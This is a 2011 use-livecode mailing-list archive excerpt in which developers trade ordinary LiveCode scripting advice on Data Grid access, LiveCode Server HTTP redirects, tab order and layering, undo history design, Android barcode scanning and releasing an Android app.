_______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From keith at gulfbreezeortholab.com Thu Dec 8 00:27:27 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Wed, 7 Dec 2011 23:27:27 -0600 Subject: Using the GetDataOfLine function out of the message path? Message-ID: Hi All, The LiveCode_Data_Grid.pdf manual states: ?You need to keep in mind that GetDataOfLine (and GetDataOfIndex) is a function defined for a Data Grid. That means that the Data Grid group MUST be in the message path. If the Data Grid group is not in the message path you would need to use the call command.? Would anyone out there be able to provide an example of this? I need to be able to get the data from a line in a Data Grid form when clicking on a button that is not part of the Data Grid... I know how to get the data when the Data Grid group is in the path as follows: on mouseUp put the dgHilitedLines of me into theLine put GetDataOfLine(theLine,"FilePath") into thePic launch document thePic end mouseUp Thanks, - Boo From bdrunrev at gmail.com Thu Dec 8 06:32:43 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Thu, 8 Dec 2011 11:32:43 +0000 Subject: Mobile devices and barcodes In-Reply-To: References: <1323161462532-4163941.post@n4.nabble.com> <1323183548411-4164973.post@n4.nabble.com> Message-ID: I was intrigued by this topic, so did a little research myself. First of all, I'm not particularly inclined to jump through Apple's hoops when it comes to installing applications on a phone I own. So, I only looked into doing this for Android. I came across this 6 line piece of code for reading barcodes on Android: http://www.mattcutts.com/blog/android-barcode-scanner/ This requires that the Android device has the Android Scripting Environment installed. http://google-opensource.blogspot.com/2009/06/introducing-android-scripting.html Here's information on installing the ASE within the Android emulator: http://www.akeric.com/blog/?p=879 It's even possible to run scripts within ASE by snapshotting them as QR barcodes (the script is encoded in the QR barcode): http://www.submergedspaceman.com/blog/2010/02/16/android-scripting-environment-is-incredible-part-i/ How to access this from within Livecode (given that shell() is inoperable on Android/iPhone)? It _might_ work by using the "launch URL" command, giving a shell script that is recognised by ASE. Of course, this solution is not going to be of use to those wanting to distribute a barcode scanner Livecode app to the general public. However, in a specific client environment it may be possible to concoct a solution. Concocting this solution (indeed, investigating that it is possible) is probably less complicated than writing an image-processor/barcode reader oneself. Furthermore, if it is possible, it would open up a world of possibilities on Android. Here's a list of tutorials on other things that can be done within the ASE (It's pretty impressive): http://code.google.com/p/android-scripting/wiki/Tutorials Hope that is of some use/interest to someone. Bernard On Wed, Dec 7, 2011 at 6:00 PM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > The code you want would be like a OCR application, and would require a bit > of special processing to work. > Hi contrast, sharpening, THEN the character recognition, which should work > at different angles. > > My point is this is not trivial code. > > From mike at doub.com Thu Dec 8 07:10:31 2011 From: mike at doub.com (Michael Doub) Date: Thu, 8 Dec 2011 07:10:31 -0500 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: References: Message-ID: What do you have in the button that will give you a handle as to which row you are looking for? Are you always looking for the row in a curtain position? -= Mike On 2011-12-08, at 12:27 AM, Keith (Gulf Breeze Ortho Lab) wrote: > Hi All, > > The LiveCode_Data_Grid.pdf manual states: > ?You need to keep in mind that GetDataOfLine (and GetDataOfIndex) is a function defined for a Data Grid. That means that the Data Grid group MUST be in the message path. If the Data Grid group is not in the message path you would need to use the call command.? > Would anyone out there be able to provide an example of this? I need to be able to get the data from a line in a Data Grid form when clicking on a button that is not part of the Data Grid... > > I know how to get the data when the Data Grid group is in the path as follows: > > > on mouseUp > put the dgHilitedLines of me into theLine > put GetDataOfLine(theLine,"FilePath") into thePic > launch document thePic > end mouseUp > > Thanks, > > - Boo > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Thu Dec 8 09:34:07 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 8 Dec 2011 07:34:07 -0700 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: References: Message-ID: try either send or dispatch for this. dispatch "messageyouwantsenttodatagrid" to group "your datagrid" or send, or call which is a synonym. On Thu, Dec 8, 2011 at 5:10 AM, Michael Doub wrote: > What do you have in the button that will give you a handle as to which row > you are looking for? Are you always looking for the row in a curtain > position? > > -= Mike > > > > On 2011-12-08, at 12:27 AM, Keith (Gulf Breeze Ortho Lab) wrote: > > > Hi All, > > > > The LiveCode_Data_Grid.pdf manual states: > > ?You need to keep in mind that GetDataOfLine (and GetDataOfIndex) is a > function defined for a Data Grid. That means that the Data Grid group MUST > be in the message path. If the Data Grid group is not in the message path > you would need to use the call command.? > > Would anyone out there be able to provide an example of this? I need to > be able to get the data from a line in a Data Grid form when clicking on a > button that is not part of the Data Grid... > > > > I know how to get the data when the Data Grid group is in the path as > follows: > > > > > > on mouseUp > > put the dgHilitedLines of me into theLine > > put GetDataOfLine(theLine,"FilePath") into thePic > > launch document thePic > > end mouseUp > > > > Thanks, > > > > - Boo > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dunbarx at aol.com Thu Dec 8 09:41:32 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 8 Dec 2011 09:41:32 -0500 (EST) Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: References: Message-ID: <8CE83CE9CED4E99-1FE0-48574@webmail-d172.sysops.aol.com> Hi. Why not just: on mouseUp get the dgDataOfLine[2] of grp "yourDG" combine it with return and tab answer it end mouseUp Craig Newman Top -----Original Message----- From: Mike Bonner To: How to use LiveCode Sent: Thu, Dec 8, 2011 4:36 am Subject: Re: Using the GetDataOfLine function out of the message path? try either send or dispatch for this. dispatch "messageyouwantsenttodatagrid" to group "your datagrid" or send, or call which is a synonym. On Thu, Dec 8, 2011 at 5:10 AM, Michael Doub wrote: > What do you have in the button that will give you a handle as to which row > you are looking for? Are you always looking for the row in a curtain > position? > > -= Mike > > > > On 2011-12-08, at 12:27 AM, Keith (Gulf Breeze Ortho Lab) wrote: > > > Hi All, > > > > The LiveCode_Data_Grid.pdf manual states: > > ?You need to keep in mind that GetDataOfLine (and GetDataOfIndex) is a > function defined for a Data Grid. That means that the Data Grid group MUST > be in the message path. If the Data Grid group is not in the message path > you would need to use the call command.? > > Would anyone out there be able to provide an example of this? I need to > be able to get the data from a line in a Data Grid form when clicking on a > button that is not part of the Data Grid... > > > > I know how to get the data when the Data Grid group is in the path as > follows: > > > > > > on mouseUp > > put the dgHilitedLines of me into theLine > > put GetDataOfLine(theLine,"FilePath") into thePic > > launch document thePic > > end mouseUp > > > > Thanks, > > > > - Boo > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Thu Dec 8 09:47:20 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 8 Dec 2011 07:47:20 -0700 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: <8CE83CE9CED4E99-1FE0-48574@webmail-d172.sysops.aol.com> References: <8CE83CE9CED4E99-1FE0-48574@webmail-d172.sysops.aol.com> Message-ID: Hey cool. Didn't occur to me to ignore the built in function and grab it directly. Haven't tried it but would sure simplify nicely. Thx! On Thu, Dec 8, 2011 at 7:41 AM, wrote: > > Hi. > > Why not just: > > on mouseUp > get the dgDataOfLine[2] of grp "yourDG" > combine it with return and tab > answer it > end mouseUp > > Craig Newman > > From andre at andregarzia.com Thu Dec 8 10:26:44 2011 From: andre at andregarzia.com (Andre Garzia) Date: Thu, 8 Dec 2011 13:26:44 -0200 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> Message-ID: Matthias, This will sound crazy ok... but try the script with an extra put with content, like this: > > put "http://www.google.com" into tURL > put header "Status: 301" > put header "Location:" && tURL > put "redirecting..." > ?> And tell me if it works. -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From matthias_livecode_150811 at m-r-d.de Thu Dec 8 10:35:39 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 8 Dec 2011 16:35:39 +0100 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: <8F077465-6F26-4F56-8DBD-3A995E03C300@yahoo.com> References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> <8FC76361-A61F-4FFA-8B49-D43486D327E2@sahores-conseil.com> <8F077465-6F26-4F56-8DBD-3A995E03C300@yahoo.com> Message-ID: <9751E456-B525-460D-855C-849A6F839D92@m-r-d.de> Hi, thank you Piere and Jim, that works, although it is not very easy to read. I will use that solution until i found out, why "put header" does not work. Regards, Matthias Am 08.12.2011 um 04:17 schrieb Jim Ault: > This is a version of the 'get' command that I use > it requires less characters > does not require a function call > it is easier to read for me > > Note: in HTML the single and double quotes work the same way, > and space runs count as only one space. > > get " rrr" & \ > " rrr rrr" & \ > " rrr rrr" & \ > " rrr" & \ > "widestep rrr rrr" & \ > " rrr " > > replace "rrr" with CR in IT > > Jim Ault > > > On Dec 7, 2011, at 9:30 PM, Pierre Sahores wrote: > >> Hi, >> >> get "" & return & \ >> "" & return & "" & return & \ >> "" & return & "" & return & \ >> "" & return & \ >> "widestep" & return & "" & return & \ >> "" & return & " " >> put it >> >> OK with Rev/LC server 3.5 to 5 >> >> HTH, >> >> Le 8 d?c. 2011 ? 01:39, Matthias Rebbe a ?crit : >> >>> Hi, >>> >>> i am trying to redirect to another URL >>> >>> with >>> >>> >> put "http://www.google.com" into tURL >>> put header "Status: 301" >>> put header "Location:" && tURL >>> ?> >>> >>> I tried it with 'put new header' also. I always get an Internal Server error. >>> >>> Does anyone know, how i can redirect with 'put header'? >>> >>> Tried it now with LiveCodeSerer 3.5, 4.64 and 5.0. >>> >>> Any suggestions? >>> >>> Regards, >>> >>> Matthias >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> -- >> Pierre Sahores >> mobile : 06 03 95 77 70 >> www.sahores-conseil.com >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From kray at sonsothunder.com Thu Dec 8 10:50:05 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 8 Dec 2011 09:50:05 -0600 Subject: Tab Order Property? In-Reply-To: <0A86A2DA-C5E7-4A9B-94EB-1D71ABFF03C8@twft.com> References: <0A86A2DA-C5E7-4A9B-94EB-1D71ABFF03C8@twft.com> Message-ID: <7C021226-791B-463F-9B5C-BF5DA59069FE@sonsothunder.com> > Also I discovered a bit of a flaw in my code. If I click on a field that is a part of a group then I will likely throw an error, because you cannot set a fields layer to something higher than the layer of the highest layered object in the group. In other words, you have to change the layer of the entire group, not just the field itself. Hence the following update: > > on clickOrder > put the selectedobjects into theObjectList > repeat for each line theObject in theObjectList > if "of group" is in theObject then > put wordoffset("group", theObject) into firstWord > put word firstWord to -1 of theObject into theNewObject > set the layer of theNewObject to top > else > set the layer of theObject to top > end if > end repeat > end clickOrder Good update, Bob, but if you happen to select multiple items in the same group, then the group itself will come to the front multiple times. So either you'd have to go with 'selectGroupedControls' turned off and not adjust the layer of objects inside of groups, or you'd need to expand the code to handle relayering objects inside of groups (I know that someone posted a bit of code to do this a few months ago). Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From matthias_livecode_150811 at m-r-d.de Thu Dec 8 10:50:55 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 8 Dec 2011 16:50:55 +0100 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> Message-ID: Hi Andre. while answering to the other replies i oversaw your one.. Tried it now out. It works ! ! ! But why do i have to put the "redirecting?"? Is this an on-rev specific thing or is this additional put also needed when using LiveCodeServer on other systems? If the 2nd, then RunRev would do right to put that information into the ReleaseNotes. Anyway, it works. Thank you very much. Regards, Matthias Am 08.12.2011 um 16:26 schrieb Andre Garzia: > Matthias, > > This will sound crazy ok... but try the script with an extra put with > content, like this: > >> >> > put "http://www.google.com" into tURL >> put header "Status: 301" >> put header "Location:" && tURL >> > put "redirecting..." > >> ?> > > > And tell me if it works. > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From kray at sonsothunder.com Thu Dec 8 11:02:20 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 8 Dec 2011 10:02:20 -0600 Subject: Creating an Undo palette In-Reply-To: References: Message-ID: On Dec 7, 2011, at 1:28 PM, Alejandro Tejada wrote: > Hi All, > > I am trying to create an Undo function > for one of my stacks. > > Not sucessful at all. Everything seems so simple, > but it failed everytime. > > The model that I am using for this task is the > "History palette" used in Photoshop: > http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WSfd1234e1c4b69f30ea53e41001031ab64-7497.html > > Now, I am asking for advice from all of you > that have created similar function for your > applications or stacks. Al, I've done that for my Stykz animation program, but only focused on objects (it doesn't do any text undoing). You basically need to store the state of an object before it is manipulated by the user so that you can reinstate the same state after it's 'undone'. With the exception of actions that physically destroy an object (like a "cut" or "delete" command), the methods to choose from would fall into these three categories: 1) Using 'save' and 'revert' 2) Store a physical copy of the original object, and then copy it back again on an "undo" 3) Storing/restoring all the properties of an object #1 is very touchy and doesn't give you the ability for multiple undos/redos (which would seem to be your intention with the History palette), so you can ignore that one. #2 could be used, but you're deleting and copying objects which will use up object IDs rather quickly, and it is also a pain if the objects in question are inside of a group at a specific layer in the group. #3 seemed to be the best choice for me, with #2 being used only when the user wanted to cut or delete an object (I have an offscreen stack I use to hold the objects in that instance. Basically you want to store the properties of an object *before* they are manipulated by the user; if someone's doing that through an interface (like changing the fill color of a graphic), you can store the old fill color before you change it to the color they selected. It's a little trickier with resizing/moving objects themselves, but it can be done. It's more of a pain if you're giving the user the pointer tool, but it can be done there as well. The bottom line is you need a message you can trap that will take place *before* the user's action, then store the relevant property(ies) in your undo history list, and then let the user's actions take place. Hope this helps, Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From bobs at twft.com Thu Dec 8 11:24:48 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 08:24:48 -0800 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: References: <8CE83CE9CED4E99-1FE0-48574@webmail-d172.sysops.aol.com> Message-ID: <8857099F-FA5B-4179-8827-18918671C9EB@twft.com> This presumes you "know" what the line should be. If you want the data from a selected line, use the dgHilitedLine(s) to get the line number(s), or as I always like to do, use dgHilitedIndex because they remain constant even after a sort. dgHilitedLine refers to the visible rows (plus a couple buffer rows I understand). dgHilitedIndex refers to any record in the dg data array. The index number will remain constant even after a sort (but not of course after setting the dgText or dgData). So if you were looping through all the visible records, use line. If through all the records in the data grid, use index. Bob On Dec 8, 2011, at 6:47 AM, Mike Bonner wrote: > Hey cool. Didn't occur to me to ignore the built in function and grab it > directly. Haven't tried it but would sure simplify nicely. Thx! > > On Thu, Dec 8, 2011 at 7:41 AM, wrote: > >> >> Hi. >> >> Why not just: >> >> on mouseUp >> get the dgDataOfLine[2] of grp "yourDG" >> combine it with return and tab >> answer it >> end mouseUp >> >> Craig Newman >> >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Thu Dec 8 11:30:28 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Thu, 8 Dec 2011 08:30:28 -0800 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: References: Message-ID: Not to be a problem, but 'call' is NOT a synonym of 'send' from the docs: *Comments:* The *call* command sends a handler message to the object. If the script of the object doesn't trap the handler message, the message is passed to the next object in the object's message path. When executing a handler invoked by the *call *command the defaultStack remains the same as it was when the *call *command was issued. Therefore any object references in the called handler are evaluated in the context of the call command that invoked the handler. For example, button 3 may commonly refer to button 3 of the current card of the stack from which the target handler was called. *This differs from the send command which temporarily changes the context so that object references are evaluated in the context of the object containing the target handler.* On 8 December 2011 06:34, Mike Bonner wrote: > try either send or dispatch for this. > dispatch "messageyouwantsenttodatagrid" to group "your datagrid" > or send, or call which is a synonym. > > On Thu, Dec 8, 2011 at 5:10 AM, Michael Doub wrote: > > > What do you have in the button that will give you a handle as to which > row > > you are looking for? Are you always looking for the row in a curtain > > position? > > > > -= Mike > > > > > > > > On 2011-12-08, at 12:27 AM, Keith (Gulf Breeze Ortho Lab) wrote: > > > > > Hi All, > > > > > > The LiveCode_Data_Grid.pdf manual states: > > > ?You need to keep in mind that GetDataOfLine (and GetDataOfIndex) is a > > function defined for a Data Grid. That means that the Data Grid group > MUST > > be in the message path. If the Data Grid group is not in the message path > > you would need to use the call command.? > > > Would anyone out there be able to provide an example of this? I need to > > be able to get the data from a line in a Data Grid form when clicking on > a > > button that is not part of the Data Grid... > > > > > > I know how to get the data when the Data Grid group is in the path as > > follows: > > > > > > > > > on mouseUp > > > put the dgHilitedLines of me into theLine > > > put GetDataOfLine(theLine,"FilePath") into thePic > > > launch document thePic > > > end mouseUp > > > > > > Thanks, > > > > > > - Boo > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From bobs at twft.com Thu Dec 8 11:34:23 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 08:34:23 -0800 Subject: Tab Order Property? In-Reply-To: <7C021226-791B-463F-9B5C-BF5DA59069FE@sonsothunder.com> References: <0A86A2DA-C5E7-4A9B-94EB-1D71ABFF03C8@twft.com> <7C021226-791B-463F-9B5C-BF5DA59069FE@sonsothunder.com> Message-ID: On Dec 8, 2011, at 7:50 AM, Ken Ray wrote: >> Also I discovered a bit of a flaw in my code. If I click on a field that is a part of a group then I will likely throw an error, because you cannot set a fields layer to something higher than the layer of the highest layered object in the group. In other words, you have to change the layer of the entire group, not just the field itself. Hence the following update: >> >> on clickOrder >> put the selectedobjects into theObjectList >> repeat for each line theObject in theObjectList >> if "of group" is in theObject then >> put wordoffset("group", theObject) into firstWord >> put word firstWord to -1 of theObject into theNewObject >> set the layer of theNewObject to top >> else >> set the layer of theObject to top >> end if >> end repeat >> end clickOrder > > Good update, Bob, but if you happen to select multiple items in the same group, then the group itself will come to the front multiple times. So either you'd have to go with 'selectGroupedControls' turned off and not adjust the layer of objects inside of groups, or you'd need to expand the code to handle relayering objects inside of groups (I know that someone posted a bit of code to do this a few months ago). > > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode Good point Ken. For my own purposes I always group a field with it's label. This way the first group will always be the one I want, but I can see right away that if I nested groups, I would be in a helluva state. I avoid nesting groups anyway if I can because it was such a *expletive deleted* working with groups when I first started. Didn't Hypercard have a tab order property? That would be a great addition I think. You could have a tabObjects property and a tabOrder property, both of which would only be effective if the tabObjects property was set by the programmer. Otherwise it could act the way it does now, using layers and the traversalOn property of each object. Bob From bobs at twft.com Thu Dec 8 11:40:39 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 08:40:39 -0800 Subject: Creating an Undo palette In-Reply-To: References: Message-ID: <217FFE23-6968-428D-97E8-DC724A7F0D1B@twft.com> If there were a property that contained all of the standard properties of an object, you could simply store the array for that object in another array with 4 keys: The first being the version of the undo (for multiple undo's), the long id of the object, the defaultProperties (??) of the object, and the customProperties of the object. Here is where storing keys in an array in the order they were added would be REALLY handy, but alas, Livecode don' play dat! It's not very efficient storing both property sets in full, but much simpler to work with. This way you would not have to trap for every change a user could make to an object. Bob On Dec 8, 2011, at 8:02 AM, Ken Ray wrote: > > On Dec 7, 2011, at 1:28 PM, Alejandro Tejada wrote: > >> Hi All, >> >> I am trying to create an Undo function >> for one of my stacks. >> >> Not sucessful at all. Everything seems so simple, >> but it failed everytime. >> >> The model that I am using for this task is the >> "History palette" used in Photoshop: >> http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WSfd1234e1c4b69f30ea53e41001031ab64-7497.html >> >> Now, I am asking for advice from all of you >> that have created similar function for your >> applications or stacks. > > Al, I've done that for my Stykz animation program, but only focused on objects (it doesn't do any text undoing). You basically need to store the state of an object before it is manipulated by the user so that you can reinstate the same state after it's 'undone'. With the exception of actions that physically destroy an object (like a "cut" or "delete" command), the methods to choose from would fall into these three categories: > > 1) Using 'save' and 'revert' > 2) Store a physical copy of the original object, and then copy it back again on an "undo" > 3) Storing/restoring all the properties of an object > > #1 is very touchy and doesn't give you the ability for multiple undos/redos (which would seem to be your intention with the History palette), so you can ignore that one. > > #2 could be used, but you're deleting and copying objects which will use up object IDs rather quickly, and it is also a pain if the objects in question are inside of a group at a specific layer in the group. > > #3 seemed to be the best choice for me, with #2 being used only when the user wanted to cut or delete an object (I have an offscreen stack I use to hold the objects in that instance. > > Basically you want to store the properties of an object *before* they are manipulated by the user; if someone's doing that through an interface (like changing the fill color of a graphic), you can store the old fill color before you change it to the color they selected. It's a little trickier with resizing/moving objects themselves, but it can be done. It's more of a pain if you're giving the user the pointer tool, but it can be done there as well. The bottom line is you need a message you can trap that will take place *before* the user's action, then store the relevant property(ies) in your undo history list, and then let the user's actions take place. > > Hope this helps, > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Thu Dec 8 11:51:31 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 08:51:31 -0800 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: References: Message-ID: On Dec 8, 2011, at 8:30 AM, stephen barncard wrote: > Not to be a problem, but 'call' is NOT a synonym of 'send' > from the docs: > > *Comments:* > > The *call* command sends a handler message to the object. If the script of > the object doesn't trap the handler message, the message is passed to the > next object in the object's message path. > > > When executing a handler invoked by the *call *command the defaultStack > remains the same as it was when the *call *command was issued. Therefore > any object references in the called handler are evaluated in the context of > the call command that invoked the handler. For example, button 3 may > commonly refer to button 3 of the current card of the stack from which the > target handler was called. > > > *This differs from the send command which temporarily changes the context > so that object references are evaluated in the context of the object > containing the target handler.* > Ooooh good info. That goes into the keepers pile. I was under the impression that context was ALWAYS from the perspective of the object the running script, but with call you can circumvent that. Bob From keith.clarke at clarkeandclarke.co.uk Thu Dec 8 12:03:19 2011 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Thu, 8 Dec 2011 17:03:19 +0000 Subject: Creating an Undo palette In-Reply-To: <217FFE23-6968-428D-97E8-DC724A7F0D1B@twft.com> References: <217FFE23-6968-428D-97E8-DC724A7F0D1B@twft.com> Message-ID: <320C2B39-D270-4B1F-BB1C-01E68A58213F@clarkeandclarke.co.uk> In this situation - undoes over a period of time - would not a time/date stamp within the array provide such a temporal key order? Best, Keith.. On 8 Dec 2011, at 16:40, Bob Sneidar wrote: > If there were a property that contained all of the standard properties of an object, you could simply store the array for that object in another array with 4 keys: The first being the version of the undo (for multiple undo's), the long id of the object, the defaultProperties (??) of the object, and the customProperties of the object. Here is where storing keys in an array in the order they were added would be REALLY handy, but alas, Livecode don' play dat! > > It's not very efficient storing both property sets in full, but much simpler to work with. This way you would not have to trap for every change a user could make to an object. > > Bob > > > On Dec 8, 2011, at 8:02 AM, Ken Ray wrote: > >> >> On Dec 7, 2011, at 1:28 PM, Alejandro Tejada wrote: >> >>> Hi All, >>> >>> I am trying to create an Undo function >>> for one of my stacks. >>> >>> Not sucessful at all. Everything seems so simple, >>> but it failed everytime. >>> >>> The model that I am using for this task is the >>> "History palette" used in Photoshop: >>> http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WSfd1234e1c4b69f30ea53e41001031ab64-7497.html >>> >>> Now, I am asking for advice from all of you >>> that have created similar function for your >>> applications or stacks. >> >> Al, I've done that for my Stykz animation program, but only focused on objects (it doesn't do any text undoing). You basically need to store the state of an object before it is manipulated by the user so that you can reinstate the same state after it's 'undone'. With the exception of actions that physically destroy an object (like a "cut" or "delete" command), the methods to choose from would fall into these three categories: >> >> 1) Using 'save' and 'revert' >> 2) Store a physical copy of the original object, and then copy it back again on an "undo" >> 3) Storing/restoring all the properties of an object >> >> #1 is very touchy and doesn't give you the ability for multiple undos/redos (which would seem to be your intention with the History palette), so you can ignore that one. >> >> #2 could be used, but you're deleting and copying objects which will use up object IDs rather quickly, and it is also a pain if the objects in question are inside of a group at a specific layer in the group. >> >> #3 seemed to be the best choice for me, with #2 being used only when the user wanted to cut or delete an object (I have an offscreen stack I use to hold the objects in that instance. >> >> Basically you want to store the properties of an object *before* they are manipulated by the user; if someone's doing that through an interface (like changing the fill color of a graphic), you can store the old fill color before you change it to the color they selected. It's a little trickier with resizing/moving objects themselves, but it can be done. It's more of a pain if you're giving the user the pointer tool, but it can be done there as well. The bottom line is you need a message you can trap that will take place *before* the user's action, then store the relevant property(ies) in your undo history list, and then let the user's actions take place. >> >> Hope this helps, >> >> Ken Ray >> Sons of Thunder Software, Inc. >> Email: kray at sonsothunder.com >> Web Site: http://www.sonsothunder.com/ >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From henshaw at me.com Thu Dec 8 12:25:06 2011 From: henshaw at me.com (Andrew Henshaw) Date: Thu, 08 Dec 2011 17:25:06 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: References: Message-ID: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> Ive been working on a port of an iOS app I wrote earlier in the year to see if for me and my level of programming skills, the Android part of Livecode is up to the job. Ive got an app working now, but only on phones, not tablets yet. Its slightly less functional that the iOS version as there are some things missing from the toolkit like sockets, keyboard notifications, native pickers etc, but ive worked round the lack of pickers for now so the app is functional and useable, just missing a few bits like sync and just a few native style controls, hopefully they will come later. My question is really at what stage would you release an app to the Android store? Does it need to have tablet support from the start or should I work on getting a more native look and feel if its possible? I think Ive probably pushed Livecode on Android as far as my skills allow at the moment. Ive uploaded an apk of the app via if anyone has a phone and wants to try it (it will only work on a phone - not a tablet!). It uses Johns new MOBGUI scrollers and buttons a lot so it shows what they can do in my hands :) Again, im sure others could do better, but its at... http://tinyurl.com/t2gand Really the question would you release it, or wait for Livecode to mature a bit on Android? It will be a free app as ive no idea how to monetize it, and without money development will be stopping very soon as it will just be an exercise in what is possible, rather than something that pays a few bills! With the iOS version I can give away 100s a day, but put a price on it and nobody wants it so Im, guessing the Android app will be the same. Any thoughts would be welcome!!! Andy From bobs at twft.com Thu Dec 8 12:29:31 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 09:29:31 -0800 Subject: Creating an Undo palette In-Reply-To: <320C2B39-D270-4B1F-BB1C-01E68A58213F@clarkeandclarke.co.uk> References: <217FFE23-6968-428D-97E8-DC724A7F0D1B@twft.com> <320C2B39-D270-4B1F-BB1C-01E68A58213F@clarkeandclarke.co.uk> Message-ID: <5DC4239E-368A-4BA6-9344-4B11867E6D35@twft.com> I thought this over, and there would be problems. First, the ID of an object is part of the default property set. I can imagine there are a number of read only properties that only the engine 